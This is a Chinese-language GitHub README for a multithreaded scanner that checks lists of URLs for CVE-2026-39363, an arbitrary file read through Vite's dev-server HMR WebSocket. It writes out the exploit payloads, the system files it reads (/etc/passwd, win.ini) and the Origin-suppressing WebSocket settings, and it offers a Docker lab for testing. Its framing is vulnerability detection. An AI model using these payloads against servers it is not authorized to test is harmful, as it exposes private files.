f4s1on/CVE-2026-39363
GitHub: f4s1on/CVE-2026-39363
针对 Vite 开发服务器 WebSocket 任意文件读取漏洞(CVE-2026-39363)的批量检测工具,支持多线程并发扫描与跨平台识别。
Stars: 0 | Forks: 0
# CVE-2026-39363 — Vite Dev Server WebSocket 任意文件读取批量检测
## 漏洞描述
Vite 开发服务器(6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4)的 HMR WebSocket 未校验 `Origin` 头,攻击者可通过 `vite:invoke` 事件调用 `fetchModule`,使用 `file://` 协议配合 `?raw` 参数绕过 `server.fs.allow` 限制,读取服务器任意文件。
## 检测流程
url.txt → http://host:port
↓ 解析 host + port
↓
┌─ Step 1: 尝试 ws://host:给定端口
│ ├─ WebSocket 握手成功 + exploit 成功 → 存在漏洞
│ └─ 失败 → 如果给定端口 == 5173 → 不存在漏洞
│
└─ Step 3: 探测 host:5173(仅当给定端口 ≠ 5173)
├─ 端口关闭 → 不存在漏洞
└─ 端口开放 → WebSocket 握手 + exploit 在 5173 上
├─ 成功 → 存在漏洞
└─ 失败 → 不存在漏洞
## 使用方法
### 安装依赖
pip install -r requirements.txt
### 开启和关闭代理
要开启代理取消脚本26-27行的注释即可
# 要开启代理的话,取消下面两行注释,并设置正确的代理地址和端口
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"
### 准备目标
在 `url.txt` 中写入目标 URL,每行一个:
http://192.168.1.100:5173
http://example.com
http://target.cn:8080
### 运行
python cve_2026_39363.py
### 输出
**终端:**
[*] Loaded 3 URL(s), scanning with 3 thread(s)...
http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞
[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt
**result.txt:**
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)
## POC 验证文件
| 目标系统 | 读取文件 | 特征标记 |
|----------|----------|----------|
| Linux | `file:///etc/passwd?raw` | `root:` |
| Windows | `file:///C:/Windows/win.ini?raw` | `for 16-bit app support` |
## Exploit Payload
支持两种 payload 格式(按顺序尝试):
1. Vulhub PoC 格式:`{"id":"send:0","name":"fetchModule","data":[file_path]}`
2. 内部 RPC 格式:`{"fn":"fetchModule","args":[file_path]}`
## WebSocket 关键参数
| 参数 | 值 | 原因 |
|------|-----|------|
| 子协议 | `vite-hmr` | Vite HMR WebSocket 要求 |
| Origin | 抑制发送 (`suppress_origin=True`) | Vite 拒绝带 Origin 头的非浏览器连接 |
## Docker 漏洞环境测试
# 启动
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1
# 扫描
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py
# 清理
docker stop vite-vuln && docker rm vite-vuln
## 常见问题
**Q: 所有检测都返回"不存在漏洞"?**
- 确认目标端口 5173 是否开放
- 确认 Vite dev server 使用了 `--host` 或 `server.host` 暴露到网络
- 确认 `WebSocket` 未被 `server.ws: false` 禁用
**Q: Windows 下输出乱码?**
- 脚本已自动处理,若仍有问题请确认终端为 UTF-8 编码
**Q: PowerShell 生成的 url.txt 无法解析?**
- 脚本使用 `utf-8-sig` 自动跳过 BOM
标签:CVE-2026-39363, Dev Server, HMR, Maven, PoC, Python, Vite, WebSocket, XXE攻击, 任意文件读取, 依赖分析, 信息泄露, 前端安全, 密码管理, 批量化, 文件读取漏洞, 无后门, 暴力破解, 漏洞验证, 网络安全, 网络安全审计, 请求拦截, 逆向工具, 隐私保护